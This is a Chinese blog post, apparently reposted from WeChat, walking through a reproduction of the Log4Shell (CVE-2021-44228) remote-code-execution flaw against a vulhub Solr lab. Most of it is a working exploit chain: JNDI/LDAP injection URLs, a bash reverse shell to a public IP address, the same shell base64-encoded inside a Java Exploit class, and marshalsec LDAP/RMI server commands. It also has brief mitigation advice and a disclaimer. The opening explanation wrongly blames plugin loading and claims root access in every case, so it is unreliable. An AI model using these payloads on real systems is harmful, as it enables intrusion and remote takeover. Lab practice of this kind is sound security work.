log4j2漏洞原理?
CVE-2021-44228
,简称:log4j2,利用漏洞可以执行任意命令。该漏洞影响所有 log4j2 受影响的版本,包括 2.x 到 2.15.0。这个漏洞利用了一个缺陷,允许攻击者以 root 权限执行任意命令。log4j2 的核心代码存在一个漏洞,导致它在加载插件时未正确验证插件是否来自受信任的来源。这使得攻击者可以通过构建恶意插件来绕过信任检查,从而执行任意命令。
Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,启动一个JNDI服务,通过rmi,在rmi的工厂中注册一个恶意实例,使用lookup远程加载导致RCE
${jndi:ldap://log4j.voxxaq.dnslog.cn}
特征:${jndi:rmi
判断主机,一定会有一个RMI的恶意流量
无回显的时候如何判断攻击成功:看看主机是否加载恶意类,看看受害主机有没有回连恶意地址
解决方案:
升级到最新版
在防火墙设置中,禁止应用服务访问常规应用以外的ip地址
其他版本,删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
环境 & 工具
环境:kali + docker 部署 vulhub靶场
复现:jdk 1.8 + python + marshalsec
http://www.dnslog.cn #dnslog检测
https://ares-x.com/tools/runtime-exec #可以对命令进行编写
环境搭建:
进入vulhub 靶场 找到log4j2目录
启动docker
docker-compose up –d
访问查看
没问题
dnslog测试漏洞:
进入:
http://www.dnslog.cn #生成个接受的链接
测试注入点:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3avw73.dnslog.cn}
#验证漏洞并查看java版本
ok 接着查看 dnsl平台 刷新一下
发现有 回显 并且包含jdk 1.8
测试完成!开始漏洞利用
反弹shell
反弹shell 由于前面我们测试过了 可以通以ldap即我们可以通过远程类加载实现反弹shell
bash -i >& /dev/tcp/43.140.204.207/6666 0>&1 #6666为端口号
进行base编码
https://ares-x.com/tools/runtime-exec #这个貌似需要梯子
这个图片有一点点问题哪个端头是7777
写 Exploit
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDAuMjA0LjIwNy83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java #生成class文件
启动httpf服务:生成 .class 目录下
python -m http.server 1234
发现是有这两个文件的 然后 我们以这个http起一个 LDAP服务
起这个服务需用到:marshalse
marshalsec使用教程
cd marshalsec/target/ #进入这个目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/test#Exploit 3333 RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/test#Exploit 3333 LDAP服务
//http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 3333 指rmi/ldap服务的端口
先进入
启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.24.56.44:1234/#Exploit" 1203
然后将自己起攻击的服务器开始监听该端口
ok 开始打playload
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://172.24.45.44:1203/Exploit}
#这个是get传参不用管了 直接回车就行 没必要抓包
成功反弹shell并有root权限
再看一下 http 和LDAP服务
看到两个同时响应
至此 log4j2漏洞复现 完成
总结
总结一下:log4j2漏洞刚出现时可谓是危害嘎嘎大 不过现在也感觉以后找工作像这种 可能也是HR必问项吧
防御:这个应该说比较简单开头也提了 一些 禁止陌生ip 上WAF 对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截 。。。及时更新版本 。。。
本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(云息信安):log4j2远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论